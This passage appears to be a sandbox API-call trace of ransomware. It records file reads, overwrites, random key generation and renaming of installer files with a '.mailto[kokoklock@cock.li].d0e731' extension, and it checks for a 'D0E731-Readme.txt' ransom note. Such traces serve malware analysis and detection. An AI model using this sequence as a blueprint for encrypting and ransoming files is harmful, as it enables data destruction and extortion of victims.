SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.926] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa3efe48 | out: lpFileSize=0xa3efe48*=9068) returned 1 [0166.926] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x2368, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.926] ReadFile (in: hFile=0x528, lpBuffer=0xa3efe1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa3efe18, lpOverlapped=0x0 | out: lpBuffer=0xa3efe1c*, lpNumberOfBytesRead=0xa3efe18*=0x4, lpOverlapped=0x0) returned 1 [0166.927] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.928] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.928] NtQuerySystemTime (in: CurrentTime=0xa3efdf4 | out: CurrentTime=0xa3efdf4*=132121213242354917) returned 0x0 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xe766a1a6 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x5516f5a4 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x306ca5c7 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xd4994381 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x5705cc2d [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x1487f3f7 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xfa729fd8 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x9ad2a597 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xe5e83cf8 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x24882f37 [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x6d1f552d [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x6030948c [0166.928] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xb63d2535 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x5223e973 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x3e2d8738 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xa0d7599c [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x1c4ea110 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x9e0c954d [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x2795d516 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x43c8c635 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x14a06896 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xa6eac0da [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xa1f4105f [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x669634b5 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xede5f82 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xe0b942c [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xe7678d5b [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xc512cb23 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x51b2ac46 [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xec3cb8ab [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0x729ac0be [0166.929] RtlRandom (in: Seed=0xa3efe00 | out: Seed=0xa3efe00) returned 0xe3fcefe2 [0166.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45a0 [0166.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.940] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.940] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x236c, lpNumberOfBytesRead=0xa3efdf4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa3efdf4*=0x236c, lpOverlapped=0x0) returned 1 [0166.941] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa3efdbc | out: lpNewFilePointer=0x0) returned 1 [0166.941] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x236c, lpNumberOfBytesWritten=0xa3efdf0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa3efdf0*=0x236c, lpOverlapped=0x0) returned 1 [0166.941] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45c8 [0166.941] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45f0 [0166.941] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe45f0) returned 1 [0166.941] WriteFile (in: hFile=0x528, lpBuffer=0x2fe45c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa3efdec, lpOverlapped=0x0 | out: lpBuffer=0x2fe45c8*, lpNumberOfBytesWritten=0xa3efdec*=0x20, lpOverlapped=0x0) returned 1 [0166.941] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe45c8) returned 1 [0166.941] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.941] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.941] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.941] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.941] WriteFile (in: hFile=0x528, lpBuffer=0x2fe45a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa3efe18, lpOverlapped=0x0 | out: lpBuffer=0x2fe45a0*, lpNumberOfBytesWritten=0xa3efe18*=0x8, lpOverlapped=0x0) returned 1 [0166.942] WriteFile (in: hFile=0x528, lpBuffer=0xa3efe30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa3efe18, lpOverlapped=0x0 | out: lpBuffer=0xa3efe30*, lpNumberOfBytesWritten=0xa3efe18*=0x4, lpOverlapped=0x0) returned 1 [0166.942] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa3efe18, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa3efe18*=0x4, lpOverlapped=0x0) returned 1 [0166.942] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa3efe18, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa3efe18*=0x6c, lpOverlapped=0x0) returned 1 [0166.942] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa3efe18, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa3efe18*=0x20, lpOverlapped=0x0) returned 1 [0166.942] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa3efe18, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa3efe18*=0x4, lpOverlapped=0x0) returned 1 [0166.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe45a0) returned 1 [0166.942] CloseHandle (hObject=0x528) returned 1 [0166.942] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.942] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.942] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.942] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.943] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.943] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.944] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1032\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0166.944] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" [0166.944] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\d0e731-readme.txt")) returned 0x20 [0166.944] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.944] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6bff8) returned 1 [0166.944] RtlExitUserThread (Status=0x1) Thread: id = 1641 os_tid = 0x8e4 [0166.949] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.950] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.950] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.950] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa46fe50 | out: lpFileSize=0xa46fe50*=86476) returned 1 [0166.950] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x151c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.950] ReadFile (in: hFile=0x528, lpBuffer=0xa46fe24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa46fe20, lpOverlapped=0x0 | out: lpBuffer=0xa46fe24*, lpNumberOfBytesRead=0xa46fe20*=0x4, lpOverlapped=0x0) returned 1 [0166.951] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45a0 [0166.952] NtQuerySystemTime (in: CurrentTime=0xa46fdfc | out: CurrentTime=0xa46fdfc*=132121213242666991) returned 0x0 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x196bbd37 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xb0e0b529 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x21506a66 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x5dded10f [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x39297217 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xbac2a51b [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x95f33783 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x9989ce5f [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x3827dff2 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xdc56f8f8 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x95e0ce66 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xc8bb070f [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x5c2d8879 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xa0fb10b8 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xbbefdb8b [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xc0fa8bda [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x4f47224a [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xf14ab34 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xc23ac4b7 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x424f5f6f [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xdcc689f2 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x29b5e9db [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xd4eafacb [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x16b0fb1d [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x7ed8a60f [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xfcdbfe3b [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x23d9a91f [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xd1c31d9a [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xe4a1b3e4 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0x23befe45 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xcc202117 [0166.952] RtlRandom (in: Seed=0xa46fe08 | out: Seed=0xa46fe08) returned 0xfd3c2244 [0166.961] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45c8 [0166.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45f0 [0166.963] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.963] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.963] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.963] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.963] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa46fdd4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa46fdd4*=0x4096, lpOverlapped=0x0) returned 1 [0166.964] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.964] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.965] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.965] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.965] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.965] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa46fdd4, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa46fdd4*=0x4096, lpOverlapped=0x0) returned 1 [0166.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.965] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x151cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.965] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa46fe0c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4578*, lpNumberOfBytesWritten=0xa46fe0c*=0x20, lpOverlapped=0x0) returned 1 [0166.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.965] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.966] WriteFile (in: hFile=0x528, lpBuffer=0x2fe45f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa46fe20, lpOverlapped=0x0 | out: lpBuffer=0x2fe45f0*, lpNumberOfBytesWritten=0xa46fe20*=0x8, lpOverlapped=0x0) returned 1 [0166.966] WriteFile (in: hFile=0x528, lpBuffer=0xa46fe38*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa46fe20, lpOverlapped=0x0 | out: lpBuffer=0xa46fe38*, lpNumberOfBytesWritten=0xa46fe20*=0x4, lpOverlapped=0x0) returned 1 [0166.966] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa46fe20, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa46fe20*=0x4, lpOverlapped=0x0) returned 1 [0166.966] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa46fe20, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa46fe20*=0x6c, lpOverlapped=0x0) returned 1 [0166.966] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa46fe20, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xa46fe20*=0x20, lpOverlapped=0x0) returned 1 [0166.966] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa46fe20, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa46fe20*=0x4, lpOverlapped=0x0) returned 1 [0166.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe45c8) returned 1 [0166.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe45f0) returned 1 [0166.966] CloseHandle (hObject=0x528) returned 1 [0166.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.966] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.966] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.966] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.967] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.967] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.967] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.968] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1032\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0166.968] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" [0166.968] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\d0e731-readme.txt")) returned 0x20 [0166.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d2c0) returned 1 [0166.968] RtlExitUserThread (Status=0x1) Thread: id = 1642 os_tid = 0x8cc [0166.971] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.972] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.972] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.972] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa4efc28 | out: lpFileSize=0xa4efc28*=3611) returned 1 [0166.973] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xe17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.973] ReadFile (in: hFile=0x528, lpBuffer=0xa4efbfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa4efbf8, lpOverlapped=0x0 | out: lpBuffer=0xa4efbfc*, lpNumberOfBytesRead=0xa4efbf8*=0x4, lpOverlapped=0x0) returned 1 [0166.974] SetFilePointerEx (in: hFile=0x528, 